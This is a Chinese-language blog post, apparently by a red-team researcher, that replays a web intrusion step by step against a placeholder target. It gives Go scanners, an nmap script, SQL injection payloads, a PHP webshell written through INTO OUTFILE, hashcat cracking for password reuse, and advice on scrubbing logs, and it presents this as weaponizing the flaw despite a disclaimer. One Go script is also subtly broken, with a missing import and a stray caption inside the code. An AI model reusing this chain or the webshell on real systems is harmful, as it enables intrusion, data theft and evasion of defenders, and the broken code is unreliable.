0x01 攻击的起点:一起Web入侵事件

2023年初,某知名互联网公司遭遇了一次严重的数据泄露事件。攻击者通过SQL注入漏洞成功入侵该公司的一台关键业务服务器,最终窃取了数百万条用户数据。这一事件引发了广泛关注,但令人惊讶的是,这个漏洞的利用方法并不复杂,甚至可以通过自动化工具轻松重现。

作为一名曾参与红队行动的安全研究员,我深知这样的攻击背后并不只是简单的注入利用,而是包含了一整套精心设计的攻击链:从信息收集到漏洞利用,再到权限提升、横向移动和数据窃取。在这篇文章中,我将以攻击者的视角,完整复盘类似攻击的技术细节,并分享如何武器化这一漏洞。

本文仅供授权安全测试和研究目的,请勿滥用。

---

0x02 信息收集:目标暴露的第一步

每一次攻击的第一步都是信息收集。攻击者需要尽可能多地了解目标的网络架构、开放端口、Web服务和技术栈,从而为后续攻击找到突破口。

1. 枚举目标的子域名

首先,我们需要获取目标公司的子域名信息。这里使用一个基于Go语言编写的简单子域名枚举工具。

<pre><code class="language-go">package main

import ( &quot;bufio&quot; &quot;fmt&quot; &quot;net/http&quot; &quot;os&quot; &quot;strings&quot; )

func main() { domain := &quot;target.com&quot; file, err := os.Open(&quot;subdomains.txt&quot;) // 子域名字典文件 if err != nil { fmt.Println(&quot;无法打开字典文件:&quot;, err) return } defer file.Close()

scanner := bufio.NewScanner(file) for scanner.Scan() { subdomain := scanner.Text() url := &quot;http://&quot; + subdomain + &quot;.&quot; + domain resp, err := http.Get(url) if err == nil &amp;&amp; resp.StatusCode == 200 { fmt.Println(&quot;[发现子域] &quot;, url) } } if err := scanner.Err(); err != nil { fmt.Println(&quot;扫描错误:&quot;, err) } }</code></pre>

将上述代码保存为subdomain_finder.go,修改subdomains.txt文件为你自己的子域名字典,运行后即可获取活动的子域名列表。

2. 扫描Web服务器的端口

下一步是扫描目标服务器的开放端口。这里我们使用nmap命令结合自定义Shell脚本完成。

<pre><code class="language-bash">#!/bin/bash

domain=&quot;target.com&quot; ports=$(nmap -p- --min-rate=1000 -T4 $domain | grep open | awk &#039;{print $1}&#039; | tr -d &#039;/tcp&#039;)

echo &quot;扫描到的开放端口:&quot; for port in $ports; do echo &quot;端口 $port 是开放的&quot; done</code></pre>

以上脚本快速扫描目标域名的所有开放端口,并返回结果。通过这些信息,攻击者可以锁定暴露的服务。

---

0x03 漏洞利用:SQL注入的深度攻击

在信息收集阶段,我们发现目标服务器的某个子域名(如api.target.com)存在SQL注入漏洞。接下来,我们将演示如何利用这一漏洞获取目标数据库访问权限。

1. 漏洞验证

假设存在如下URL:

<pre><code>http://api.target.com/products?category=1</code></pre>

我们可以通过在参数后面添加单引号来验证是否存在SQL注入:

<pre><code>http://api.target.com/products?category=1&#039;</code></pre>

如果页面返回错误信息,如SQL syntax,表明目标可能存在SQL注入漏洞。

2. POC代码实现

以下是一个基于Go语言编写的SQL注入验证脚本:

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;io/ioutil&quot; &quot;net/http&quot; )

func main() { baseURL := &quot;http://api.target.com/products?category=&quot; testPayload := &quot;1&#039;&quot;

fullURL := baseURL + testPayload resp, err := http.Get(fullURL) if err != nil { fmt.Println(&quot;请求失败:&quot;, err) return } defer resp.Body.Close()

body, _ := ioutil.ReadAll(resp.Body) if string(body) != &quot;&quot; &amp;&amp; (contains(string(body), &quot;SQL syntax&quot;) || contains(string(body), &quot;database error&quot;)) { fmt.Println(&quot;[可能存在注入漏洞] URL:&quot;, fullURL) } else { fmt.Println(&quot;[未发现漏洞] URL:&quot;, fullURL) } }

黑客示意图

func contains(s, substr string) bool { return strings.Index(s, substr) != -1 }</code></pre>

运行该代码后,如果URL存在注入漏洞,程序会提示可能存在注入漏洞

3. 构造Payload进行数据泄露

当确定注入漏洞存在后,可以构造以下Payload来获取数据库名:

<pre><code class="language-sql">http://api.target.com/products?category=1&#039; UNION SELECT database() --</code></pre>

通过类似的Payload,还可以进一步枚举数据库表、字段,甚至窃取敏感数据。

---

0x04 权限提升:从低权限到高权限

通常情况下,通过SQL注入获取的数据库权限较低,攻击者需要进一步提升权限以扩大攻击面。我们可以通过以下方法实现:

1. 文件写入攻击

在某些情况下,数据库用户可能具有写入服务器文件系统的权限。攻击者可以利用以下SQL语句将Webshell写入到服务器:

<pre><code class="language-sql">1&#039; UNION SELECT &quot;&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;&quot; INTO OUTFILE &#039;/var/www/html/shell.php&#039; --</code></pre>

执行成功后,攻击者即可通过访问shell.php远程执行任意命令。

---

0x05 横向移动与主机控制

获得初始权限后,接下来的目标是扩展控制范围,影响更多的系统和数据。

1. 利用密码复用进行横向渗透

通过获取数据库中的用户密码哈希,利用工具hashcat进行暴力破解。一旦获得明文密码,攻击者可以利用密码复用登录其他系统。

<pre><code class="language-bash"># 使用hashcat破解MD5哈希 hashcat -m 0 -a 0 hashes.txt rockyou.txt</code></pre>

一旦获取到明文密码,可以尝试登录目标的SSH服务或其他暴露接口。

---

0x06 痕迹清除与总结

黑客示意图

攻击完成后,攻击者必须清理痕迹以避免被检测:

  • 删除写入的Webshell
  • 从日志文件中清除可疑请求
  • 终止所有与C2通信的会话

攻击者的本质是与防御者的博弈,在每个阶段都需要考虑如何避免被发现。

黑客示意图

---

以上就是本次攻击的完整流程复盘,通过这种方式可以深入理解攻击者的思路。希望这篇文章能够为大家提供技术参考,但请记住,任何技术都应在合法授权范围内使用。